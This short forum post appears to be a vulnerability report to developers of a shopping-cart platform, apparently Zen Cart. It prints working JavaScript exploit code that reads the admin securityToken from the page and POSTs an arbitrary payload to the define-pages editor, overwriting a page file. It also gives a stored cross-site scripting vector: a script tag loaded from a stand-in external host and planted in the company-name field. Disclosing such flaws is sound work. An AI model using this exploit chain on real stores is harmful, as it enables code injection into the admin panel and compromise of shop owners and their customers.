Ah, forgot. Here's the "exploit code" used.
function zenInjectCode(url, payload) {
var securityToken = document.body.innerHTML.match(/securityToken = '([a-f0-9]{32})'/)[1];
var admincp = window.location.href.split('/').reverse()[1]
var exploit = new XMLHttpRequest();
exploit.open("POST", url +'/' + admincp + '/index.php?cmd=define_pages_editor&lngdir=english&filename=define_page_2.php&action=save');
exploit.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
exploit.send(
'securityToken=' + securityToken +
'&file_contents=' + encodeURIComponent(payload)
);
}
And something like
<script src=//herp.derp.test.js>
in company name.
Sorry, forgot to add that down here.
Do you guys use IRC? I find it so much easier to communicate over IRC than forums.